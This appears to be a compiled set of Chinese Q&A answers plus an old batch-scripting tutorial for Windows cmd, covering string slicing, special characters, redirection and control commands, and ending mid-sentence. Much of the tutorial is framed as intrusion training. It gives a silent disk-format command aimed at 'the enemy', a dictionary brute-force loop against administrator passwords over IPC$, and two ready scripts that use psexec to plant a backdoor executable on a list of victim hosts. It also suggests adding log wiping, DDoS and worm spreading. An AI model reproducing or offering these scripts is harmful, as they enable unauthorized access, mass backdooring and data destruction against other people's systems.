『壹』 cmd截取字元串
echo %var:~0,-1%
『貳』 字元串的處理
在批處理中取子字元串的說明在set命令的幫助里有說明例如你在cmd中先輸入 set testString=我輸入的字元 現在如果你要取得testString這個變數中的「字」這個字元 那你就可以用%testString:~4,1% 就能取得「字」了,如果你要把它顯示出來,就再輸入 echo %testString:~4,1% ,總結一下,在批處理中取字元的話,就是用兩個%%加操作內容,具體的操作方法,可以參照set命令的使用,我摘一部分出來粘貼在這里,你自己也可以在cmd中輸入set /?來查看 環境變數替換已如下增強: %PATH:str1=str2% 會擴展 PATH 環境變數,用 str2 代替擴展結果中的每個 str1。 要有效地從擴展結果中刪除所有的 str1,str2 可以是空的。 str1 可以以星號打頭;在這種情況下,str1 會從擴展結果的 開始到 str1 剩餘部分第一次出現的地方,都一直保持相配。 也可以為擴展名指定子字元串。 %PATH:~10,5% 會擴展 PATH 環境變數,然後只使用在擴展結果中從第 11 個(偏 移量 10)字元開始的五個字元。如果沒有指定長度,則採用默認 值,即變數數值的余數。如果兩個數字(偏移量和長度)都是負數, 使用的數字則是環境變數數值長度加上指定的偏移量或長度。 %PATH:~-10% 會提取 PATH 變數的最後十個字元。
『叄』 CMD的命令字元
@
\\隱藏命令的回顯。
~
\\在for中表示使用增強的變數擴展;
在set中表示使用擴展環境變數指定位置的字元串;
在set/a中表示按位取反。
%
\\使用兩個%包含一個字元串表示引用環境變數。比如一個%time%可以擴展到當前的系統時間;
單個%緊跟0-9的一個數字表示引用命令行參數;
用於for中表示引用循環變數;
連續的兩個%表示執行時脫為一個%。
^
\\取消轉義字元,即將所有轉義字元的轉義作用關閉。比如要在屏幕顯示一些特殊的字元,比如> >> | ^等時,就可以在其前面加一個^符號來顯示這個^後面的字元了,^^就是顯示一個^,^|就是顯示一個|字元了;
在set/a中是按位異;
在findstr/r的[]中表示不匹配指定的字元集。
&
\\命令連接字元。比如我要在一行文本上同時執行兩個命令,就可以用&命令連接這兩個命令;
在set/a中是按位與。
*
\\代表任意個任意字元,就是我們通常所說的"通配符";比如想在c盤的根目錄查找c盤根目錄里所有的文本文件(.txt),那麼就可以輸入命令"dir c:\*.txt";
在set/a中是乘法。比如"set/a x=4*2",得到的結果是8;
在findstr/r中表示將前一個字元多次匹配。
()
\\命令包含或者是具有優先權的界定符吧,比如for命令要用到這個(),我們還可以在if,echo等命令中見到它的身影;
-
\\范圍表示符,比如日期的查找,for命令里的tokens操作中就可以用到這個字元;
在findstr/r中連接兩個字元表示匹配范圍;
-跟在某些命令的/後表示取反向的開關。
+
\\主要是在命令裡面會用到它,表示將很多個文件合並為一個文件,就要用到這個+字元了;
在set/a中是加法。
|
\\管道符。就是將上一個命令的輸出,作為下一個命令的輸入."dir /a/b | more"就可以逐屏的顯示dir命令所輸出的信息;
在set/a中是按位或;
在幫助文檔中表示其前後兩個開關、選項或參數是二選一的。
:
\\標簽定位符,可以接受goto命令所指向的標簽。比如在批處理文件裡面定義了一個":begin"標簽,用"goto begin"命令就可以轉到":begin"變遷後面來執行批處理命令了。
" "
\\界定符,在表示帶有空格的路徑時常要用""來將路徑括起來,在一些命令裡面也需要" "符號;
在for/f中將表示它們包含的內容當作字元串分析;
在for/f "usebackq"表示它們包含的內容當作文件路徑並分析其文件的內容;
在其它情況下表示其中的內容是一個完整的字元串,其中的>、>>、<、&、|、空格等不再轉義。
/
\\表示其後的字元(串)是命令的功能開關(選項)。比如"dir /s/b/a-d"表示"dir"命令指定的不同的參數;
在set/a中表示除法。
<
\\命令重定向符,將其前面的命令的輸出結果重新定向到其後面的設備中去,後面的設備中的內容被覆蓋。比如可以用"dir > lxmxn.txt"將"dir"命令的結果輸出到"lxmxn.txt"這個文本文件中去;
在findstr/r中表示匹配單詞的右邊界,需要配合轉義字元\使用。
>>
\\命令重定向符。將其前面的命令的輸出結果重新定向到其後面的設備中去,後面設備中的內容沒有被覆蓋。
<
\\將其後面的文件的內容作為其前面命令的輸入。
在findstr/r中表示匹配單詞的左邊界,需要配合轉義字元\使用。
=
\\賦值符號,用於變數的賦值。比如"set a=windows"的意思意思是將"windows"這個字元串賦給變數"a";
在set/a中表示算術運算,比如"set /a x=5-6*5"。
\
\\這個"\"符號在有的情況下,代表的是當前路徑的根目錄.比如當前目錄在c:\windows\system32下,那麼你"dir \"的話,就相當與"dir c:\"
在findstr/r中表示正則轉義字元。
''
在for/f中表示將它們包含的內容當作命令行執行並分析其輸出;
在for/f "usebackq"中表示將它們包含的字元串當作字元串分析。
.
\\
在路徑的\後緊跟或者單獨出現時:
一個.表示當前目錄;
兩個.表示上一級目錄;
在路徑中的文件名中出現時:
最後的一個.表示主文件名與擴展文件名的分隔。
&&
\\連接兩個命令,當&&前的命令成功時,才執行&&後的命令;
||
\\連接兩個命令,當||前的命令失敗時,才執行||後的命令。
$
\\在findstr命令裡面表示一行的結束。
``
在for/f中表示它們所包含的內容當作命令行執行並分析它的輸出。
[]
在幫助文檔表示其中的開關、選項或參數是可選的;
在findstr/r中表示按其中指定的字元集匹配。
?
\\在findstr/r中表示在此位置匹配一個任意字元;
?在路徑中表示在此位置通配任意一個字元;
緊跟在/後表示獲取命令的幫助文檔。
!
\\當啟用變數延遲時,使用!!將變數名擴起來表示對變數值的引用;
在set /a中表示邏輯非。比如set /a a=!0,這時a就表示邏輯1。其他資料: 1、%是個ESCAPE字元,通常將之譯為轉義字元,但也有更形象的譯名脫逸字元、逃逸字元等。也就是說%不僅僅將與其相關的特定字元串轉義並替換為特定字元串,而且自身也會被「脫逸」。而且類似於C語言中的轉義字元"\",雙%會轉義並脫逸為單%,四%則脫為雙%。
2、for本身是一個特殊的命令,類似於一個特化的命令解釋器,因為它的功能實現需要執行多條語句,因此它必須也具有對命令行(特指do後的命令行)分析處理的功能。而command/cmd實現for時自然會借用自身原有的命令行分析模塊,因此for具有二級轉義的特性,for中do後的語句被分兩級分析和解釋,第一級在command/cmd讀入並解釋for命令行時,第二級在for讀入並解釋do命令時,它通常會對同一命令行的進行多次解釋。
然後,我們可以注意到,在do中使用命令行參數變數和環境變數時,不需要雙%,那是因為,這些變數在經過第一級轉義後,被替換成特定的不變的字元串常量,參與for循環的所有執行過程;而替代變數則要求在執行(do後的子命令行中)過程中不斷的動態變化,而這個變化自然仍需要通過脫逸字元來實現,因此使用雙%就是成了必然的選擇。
另外,還需要注意到,在命令行中使用for時不需要雙%,這源於命令解釋器對命令行與批處理的處理方式不同。在早期的DOS版本中,%在命令行中不被視為轉義字元,所以不會被轉義和脫逸,所以當時無法在命令行直接引用環境變數。而使用for時,只需要一個%供for進行轉義和脫逸就夠了。在以後的命令解釋器版本中,加入了命令行轉義的支持(主要是環境變數的支持),但命令行for使用單%的傳統仍然保留了下來。
而 cmd中的變數延遲替換是屬於特殊的情況,但不違背以上的轉義原則,只是for中的環境變數不再是常量了。
rmdir /S /Q %mhnet% 2>NUL 1>NUL 做簡單解釋
這句代碼的大意是指將 %mhnet% 指定的目錄刪除,/s 代表刪除其中的子目錄, /q 表示刪除目錄樹時不提示確認, 1>nul 表示將正確刪除目錄樹的信息禁止輸出,2>nul 表示將刪除過程中的錯誤信息禁止輸出
其中的1與2都是代表某個數據流輸入輸出的地址(NT CMD 稱之為句柄,MSDOS稱之為設備),下表(引自WinXP幫助文檔「使用命令重定向操作符 (Redirection Operators」一節))將列出可用的句柄。
句柄 句柄的數字代號 說明
STDIN 0 鍵盤輸入
STDOUT 1 輸出到命令提示符窗口
STDERR 2 錯誤輸出到命令提示符窗口
UNDEFINED 3-9 這些句柄由應用程序和各個具體工具單獨定義
0 鍵盤輸入
1 輸出到命令提示符窗口
2 錯誤輸出到命令提示符窗口
3-9 這些句柄由應用程序和各個具體工具單獨定義。
2 > nul 表示程序出錯的信息也不顯示。
call attrib -r -h c:\autoexec.bat >nul
這句其實是:
call attrib -r -h c:\autoexec.bat 1 > nul
這些1,2,0等等都是句柄,說白了就是代號,你只要知道1是代表輸出信息,2是代表出錯信息,0是代表鍵盤輸入就行了。
如果有什麼不明白的可以多看看幫助與支持。
命令行對重定向符號出現的位置不做過多限定,只要重定向符號後緊隨「字元設備」即可,故以下語句等效:
echo Hello World> hello.txt
echo Hello> Hello.txt World
echo> Hello.txt Hello World
> hello.txt echo Hello World
在NT系列命令行中,重定向的作用范圍由整個命令行轉變為單個命令語句,受到了命令分隔符&,&&,||和語句塊的制約限制。
echo Message1> msg1.txt & echo Message2> msg2.txt
if "%target%"=="" (echo message to screen ) else (echo message to file> %target%)
綜上所述,>nul 意為將此句命令所產生的標准輸出請求重新定向到空設備中,而因為此設備的緘默特性,即相當於將此語句的輸出信息屏蔽(並非隱藏);而 2>nul 則是將程序執行錯誤時的標准錯誤信息輸出請求重定向後屏蔽。它們聯合使用,即為將此語句所可能產生的所有輸出信息屏蔽。
「重定向」是MSDOS起就存在的命令行特性,負責將指定命令或語句所產生的輸入輸出請求由預設的「控制台」轉交給其它的「設備」來完成,它的啟動標志是「重定向符號」(包括「>,>>,<」三個,其各自意義見[1])出現在句中。
一般的命令行程序輸入輸出請求都通過內部定義三個「埠」(在NT下稱為「句柄」,在DOS下未定義)來完成,分別為標准輸入stdin、標准輸出stdout、標准錯誤stderr。它們通常指向的設備為控制台(console,代碼為CON),其中stdin指向控制台的鍵盤,stdout/stderr指向控制台的監視器。因此,控制台通常即指鍵盤與監視器的聯合體,這是在早期大型機的終端機上所體現出來的概念。其中的stdin可被<重定向,stdout可被>、>>重定向,而stderr在DOS下不可直接重定向,只有通過ctty或其它命令將系統控制權轉交給其它設備的方式,來間接完成。
「設備」是指可控制PC硬體或埠的設備驅動程序或埠代碼,它通常由系統底層或硬體驅動程序實現和支持。比如IO.SYS實現的控制台CON、系統時鍾CLOCK$、未知設備CONFIG$、第一串口AUX、第一並口PRN、所有串口COM1~COM4、所有並口LPT1~LPT3、可用盤符A:-X:以及上文提到的空設備NUL。還有許多其它設備,比如HIMEM.SYS實現的XMSXXXX0,EMM386.EXE實現的EMMXXXX0,IFSHLP.SYS實現的IFS$HLP$等。
在這些設備中,可以處理輸入輸出信息的很少,只有CON、NUL以及連接有輸入輸出硬體(列印機、MODEM等)的串口或並口設備。它們被稱為「字元設備」,而磁碟文件也作為一種特殊的字元設備列選其中,這就大大擴充了重定向的自由度與實用性,以致很多人也將重定向稱為「文件重定向」。
空設備NUL是一個特殊的設備,因為它沒有可控制的PC硬體或埠,而只是一個虛構的的設備或埠,它僅存在於軟體層面。正因為如此,它可以接受所有重定向的輸入輸出請求而不給出任何回應(在NT下不會給出任何輸入信息而結束輸入請求,在DOS下則反復填充127個位元組0後終止響應),這種特性使它很像天文學上的能吞噬一切物質和信息的「黑洞」,也很類似哲學上能顛轉陰陽無中生有的「玄玄之道」。它之所以存在,是因為我們需要一個可以默默無聞地無條件吸納各種冗餘輸出信息或輸入請求的「回收站」,正如「黑洞」就像一個巨大的「宇宙垃圾場」一樣
CMD沒有神經錯亂,是set處理的整數太大了,set使用雙位元組存儲整數,有32位的存貯范圍限制,也就是說它的處理范圍是2^-31~2^31-1,你的磁碟空間超過了這個范圍溢出了。
對此我沒有太好的解決辦法,只有舍棄後三位後除以1049的近似演算法。
for /f "tokens=3" %%a in ('dir /-c c:\^|find "可用位元組"') do set freesize=%%a
set /a freesize=%freesize:~0,-3%/1049>nul
echo Freesize:%freesize%
> 創建一個文件
>> 追加到一個文件後面
@ 前綴字元.表示執行時本行在cmd裡面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字元. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的預設分隔符號.
; 注釋,表示後面為注釋
: 標號作用
│ 管道操作
; 符號當命令相同的時候可以將不同的目標用;隔離開來但執行效果不變。如執行過程中發生錯誤則只返回錯誤報告但程序還是會繼續執行
首先, @ 不是一個命令, 而是DOS 批處理的一個特殊標記符, 僅用於屏蔽命令行回顯. 下面是DOS命令行或批處理中可能會見到的一些特殊標記符:
CR(0D) 命令行結束符
Escape(1B) ANSI轉義字元引導符
Space(20) 常用的參數界定符
Tab(09) ; = 不常用的參數界定符
+ COPY命令文件連接符
* ? 文件通配符
"" 字元串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回顯屏蔽符
/ 參數開關引導符
: 批處理標簽引導符
% 批處理變數引導符
其次, :: 確實可以起到rem 的注釋作用, 而且更簡潔有效; 但有兩點需要注意:
第一, 除了 :: 之外, 任何以 :開頭的字元行, 在批處理中都被視作標號, 而直接忽略其後的所有內容, 只是為了與正常的標號相區別, 建議使用 goto 所無法識別的標號, 即在 :後緊跟一個非字母數字的一個特殊符號.
第二, 與rem 不同的是, ::後的字元行在執行時不會回顯, 無論是否用echo on打開命令行回顯狀態, 因為命令解釋器不認為他是一個有效的命令行, 就此點來看, rem 在某些場合下將比 :: 更為適用; 另外, rem 可以用於 config.sys 文件中.
也可以使用以下的用法:
if exist command
device 是指DOS系統中已載入的設備, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具體的內容會因硬軟體環境的不同而略有差異, 使用這些設備名稱時, 需要保證以下三點:
1. 該設備確實存在(由軟體虛擬的設備除外)
2. 該設備驅動程序已載入(aux, prn等標准設備由系統預設定義)
3. 該設備已准備好(主要是指a: b: ..., com1..., lpt1...等)
可通過命令 mem/d | find "device" /i 來檢閱你的系統中所載入的設備
另外, 在DOS系統中, 設備也被認為是一種特殊的文件, 而文件也可以稱作字元設備; 因為設備(device)與文件都是使用句柄(handle)來管理的, 句柄就是名字, 類似於文件名, 只不過句柄不是應用於磁碟管理, 而是應用於內存管理而已, 所謂設備載入也即指在內存中為其分配可引用的句柄.
『肆』 批處理/CMD/命令提示符/命令行/命令提示窗口 逐字輸出字元串
對於我這種一般用戶也就是掌握普通命令該如何用,既然測試說明set/p 不支持顯示以等號開始的字元那就遵循。從另一角度說,用「低」級形式硬是要做某特效也總是能做到的,例如debug是命令行可調用的程序命令——相當於用CMD命令編了一短程序並運行,沒用第三方程序卻完全是隱形的第三方嘛, 除此方法外對於顯示效果也還有別的手段,總體說為此深入研究已無必要
我是水平不高廢話多,標題所提問題原來也弄過, 湊合在xp上測驗通過, 可能不能達到網友要求
@echo off
set "n0= 0 1 2 3 4 5 6 7 8 9"
for /L %%i in (10,1,99)do call set "n0=%%n0%%%%i"
set "x=""
set "y=!"
setlocal enabledelayedexpansion
set "str=#$%%^^&!x!*(~)_+-#/:\ !y!=<|>abc123.百分號轉義符感嘆號引號"
set "std=%n0%!str!!str!"
set/a "n=!std:~-200,2!-1"
echo 原串為
echo.!str! 共%n%+1個字元
for /L %%i in (0 1 %n%)do (
set "a=!str:~%%i,1!"
set/p= !a!<nul
for /L %%j in (1 1 1000)do echo>nul)
echo/&pause
『伍』 怎麼學習cmd命令符
簡明批處理教程
________________________________________
2004-05-19
最近對於批處理技術的探討比較熱,也有不少好的批處理程序發布,但是如果沒有一定的相關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語雲:「授人以魚,不如授人以漁。」因為網上好像並沒有一個比較完整的教材,所以抽一點時間寫了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網路的自由與共享而努力的朋友們.
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。
一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
No.2
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55
.
2002-05-14 23:55
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單,如:
